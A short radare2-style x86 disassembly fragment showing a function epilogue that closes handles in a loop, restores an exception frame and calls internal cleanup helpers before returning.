call sub.kernel32.dll_CloseHandle_1
inc ebx
dec edi
jne 0x4ef364
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ef4e5
lea eax, [ebp - 0x2c]
mov edx, 6
call fcn.00404a08
lea eax, [ebp - 0x10]
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049e4
ret